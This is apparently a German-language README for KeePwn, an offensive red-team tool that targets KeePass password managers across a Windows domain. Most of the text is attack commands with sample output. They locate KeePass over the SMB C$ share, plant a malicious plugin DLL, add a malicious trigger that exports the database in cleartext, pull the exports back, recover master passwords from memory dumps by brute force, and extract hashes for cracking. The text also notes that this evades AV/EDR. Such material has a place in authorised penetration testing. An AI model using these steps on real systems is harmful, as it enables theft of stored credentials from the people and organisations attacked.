
Ein Python-Tool zur Automatisierung der KeePass-Erkennung und Geheimnisextraktion.

Ein Python-Skript, das Red Teamern hilft, KeePass-Instanzen zu entdecken und Geheimnisse zu extrahieren.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Oder wenn du nicht installieren möchtest, sondern nur in einer virtualenv ausführen willst:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
Das search-Modul von KeePwn wird verwendet, um Hosts zu identifizieren, die KeePass in Ihrer Zielumgebung ausführen:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Es nutzt die in Active Directory integrierte C$ Freigabe, um nach KeePass-bezogenen Dateien an den Standardorten zu suchen, was Administratorrechte auf den Zielen erfordert.
Das Modul durchsucht zunächst die KeePass.config.xml-Konfigurationsdatei im %APPDATA%\KeePass-Ordner jedes Benutzers sowie KeePass.exe im Standardinstallationspfad (C:\Program Files\KeePass Password Safe 2). Wenn eine Konfigurationsdatei gefunden wird, KeePass aber nicht global installiert ist, sucht KeePwn nach portablen Installationen bis zu --max-depth Unterordnern.
Diese einfache Suchtechnik sollte ausreichen, um genau zu bestimmen, ob KeePass auf einer Workstation verwendet wird oder nicht. Zusätzlich verwendet die --get-process-Option die Impacket-RPC-Implementierung, um festzustellen, ob KeePass derzeit auf dem Ziel ausgeführt wird.
Verschiedene Komfortoptionen sind ebenfalls enthalten, mit denen Sie Suchergebnisse in eine CSV-Datei exportieren, nur Ziele anzeigen können, bei denen KeePass gefunden wurde, und die Anzahl der parallelen Threads anpassen können:
KeePass verfügt über ein Plugin-Framework, das missbraucht werden kann, um schädliche DLLs in den KeePass-Prozess zu laden, wodurch Angreifer mit Administratorrechten die Datenbank leicht exportieren können (siehe: KeeFarceRebornPlugin).
Das plugin-Modul von KeePwn ermöglicht Folgendes:
Derzeit installierte Plugins auflisten und den Plugin-Cache aufzählen
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Ihre schädlichen Plugins hinzufügen und entfernen
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
%APPDATA% nach Exporten abfragen und diese automatisch vom entfernten Host in das lokale Dateisystem verschieben
Wie in @harmj0ys Blogbeitrag (und später CVE-2023-24055) beschrieben, kann das KeePass-Trigger-System missbraucht werden, um die Datenbank im Klartext zu exportieren.
Das trigger-Modul von KeePwn ermöglicht Folgendes:
Prüfen, ob ein schädlicher Trigger namens „export” derzeit in der KeePass-Konfiguration vorhanden ist
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
Beachte, dass KeePwn dich daran hindert, Plugins zu missbrauchen, wenn die erkannte KeePass-Version nicht von dieser Technik betroffen ist.
Einen schädlichen Trigger namens „export” hinzufügen und entfernen, der beim nächsten Start von KeePass einen Klartext-Export der Datenbank in %APPDATA% durchführt
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
Wie von @vdohney beschrieben, ist es möglich, das Hauptpasswort der Datenbank im Speicher abzurufen (CVE-2023-32784, betrifft Versionen vor KeePass 2.54).
Das parse_dump-Modul von KeePwn sucht in Dumps nach potenziellen Hauptpasswort-Kandidaten. Da die resultierenden Zeichenfolgen (designbedingt) unvollständig sind, kann das Modul auch verwendet werden, um das fehlende erste Zeichen gegen eine bestimmte KDBX-Datei zu bruteforcen.
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
[*] Searching for the master password in memory dump.. done!
[*] Found 15 candidates:
_@$$w0rd!!
_Ï$$w0rd!!
_§$$w0rd!!
_ñ$$w0rd!!
_D$$w0rd!!
_$$w0rd!!
_\$$w0rd!!
_#$$w0rd!!
_y$$w0rd!!
_k$$w0rd!!
_9$$w0rd!!
_;$$w0rd!!
_H$$w0rd!!
_>$$w0rd!!
_a$$w0rd!!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
Die Analyse der Speicher-Dumps nutzt @CMEPWs Python PoC. Danke, dass ich den Code wiederverwenden durfte :)
Das keepass2john.py-Skript von @harmjoy wurde mit Hilfe von @0xSp3ctra nach KeePwn portiert.
KeePwn convert extrahiert einen knackbaren Hash (john- oder hashcat-Format) aus einer KeePass-Datenbank.
KeePwn convert -d ./Database.kdbx
[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
Es kann mit weiteren Argumenten verwendet werden, um den erwarteten Hash-Typ sowie einen Ausgabedateipfad anzugeben:
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash
[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
KDBX 4.x wird noch nicht unterstützt, du kannst https://github.com/r3nt0n/keepass4brute verwenden. Falls du Lust auf einen PR hast, ist https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format eine gute Lektüre :)
Pull-Requests sind willkommen (siehe: nicht abgehakte Funktionen + einige TODOs im Code).
Zögere nicht, ein Issue zu eröffnen oder mir auf Twitter eine DM zu schreiben, um Verbesserungen vorzuschlagen.
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Diese Aktionen werden über den Zugriff auf die SMB C$ Freigabe durchgeführt, was die Erkennung durch AV/EDR einschränkt, da keine Befehlsausführung erfolgt.
%APPDATA% nach Exporten abfragen und diese automatisch vom entfernten Host in das lokale Dateisystem verschieben
$ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Wenn der Pfad der Konfigurationsdatei nicht der Standardort ist, können Sie einen mit dem --config-path-Argument angeben.